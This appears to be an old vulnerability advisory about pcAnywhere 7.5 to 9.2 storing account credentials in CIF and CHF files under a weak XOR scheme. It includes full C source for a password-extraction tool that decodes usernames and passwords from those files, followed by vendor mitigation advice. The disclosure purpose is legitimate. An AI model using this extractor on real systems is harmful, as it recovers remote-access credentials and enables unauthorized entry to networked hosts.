COMMAND
pcAnywhere
SYSTEMS AFFECTED
pcAnywhere
PROBLEM
Pascal Longpre found following. PcAnywhere uses a trivial
password encryption scheme (XOR based, again!!!) to store account
and password information in the configuration file. CIF files
are used to store callers information and CHF files are used to
record remote slaves information (username,pw and domain) in
order to automate the process of logging in. A second level of
protection (protect item password) has also been added on those
files to protect the viewing of properties.
In a network environment, the CIF files are usually stored on a
centralized file server for easier management and every slave
must have read access to them. Having access to CIF information
can give an attacker a way to access any waiting pcAnywhere host
on that network.
In CHF files, even if you uncheck the "Automatically login to
host..." option, the first character of every field is replaced
with a space but the rest of the field's information remains in
the file.
The following program will extract the username, password and the
Protect Item password from any CIF or CHF file. It should work
fine with versions 7.5 to 9.2.
// pcax - pcAnywhere password extraction program
// This program extracts account information from CIF and CHF files.
//
// Written by Pascal Longpre (longprep@hotmail.com)
// Date : April 27th, 2000
// Tested on pcAnywhere version 7.5 to 9.2
#include <windows.h>
#include <stdio.h>
void main(int argc, char **argv) {
char szBuffer[3072];
char UserName[32],Password[16],Pw2[16];
int i, BytesRead;
FILE *stream;
printf("pcax - pcAnywhere password extractor\n");
printf("Written by Pascal Longpre - longprep@hotmail.com \n");
printf("\n");
if (!argv[1]) {
printf("USAGE : pcax filename\n");
printf(" where filename is any .cif or .chf file\n");
printf("\n");
exit(1);
}
// Open the file in binary mode
stream=fopen( argv[1], "r+b" );
BytesRead= fread(szBuffer, 1, 3072, stream);
fclose(stream);
// Extract CIF file account information
if (strstr(argv[1],".cif")>0 || strstr(argv[1],".CIF")>0)
{
for (i=0; i<32; i++)
UserName[i]= szBuffer[0x1cc +i-1] ^ szBuffer[0x1cc+i] ^ (0xF+i);
printf("Username :%s\n",UserName);
for (i=0; i<16; i++)
Password[i]= szBuffer[0x24d + i - 1] ^ szBuffer[0x24d + i] ^ (0x90+i);
printf("User password :%s\n",Password);
}
// Extract CHF files account information
if (strstr(argv[1],".chf")>0 || strstr(argv[1],".CHF")>0)
{
for (i=0; i<32; i++)
UserName[i]= szBuffer[0x82d+i-1] ^ szBuffer[0x82d+i] ^ (0x70+i);
printf("Username :% s\n",UserName);
for (i=1; i<15; i++)
Password[i-1]= szBuffer[0x8ad+i-1] ^ szBuffer[0x8ad+i] ^ (0xf0+i);
printf("Password :%s\n",Password);
}
// Protected item password - Same offset for both files
for (i=0; i<16; i++)
Pw2[i]= szBuffer[0x118 + i - 1] ^ szBuffer[0x118 + i] ^ (0x17+i);
Pw2[15]='\0';
printf("Protected item password :%s\n",Pw2);
}
SOLUTION
Symantec suggests the use of the public key encryption option.
They also suggest using any third party encryption software.
However, if this is on the server end of things (ie, it
authenticates users) then storing the passwords in a XOR form is
simply poor taste, poor design, and poor security.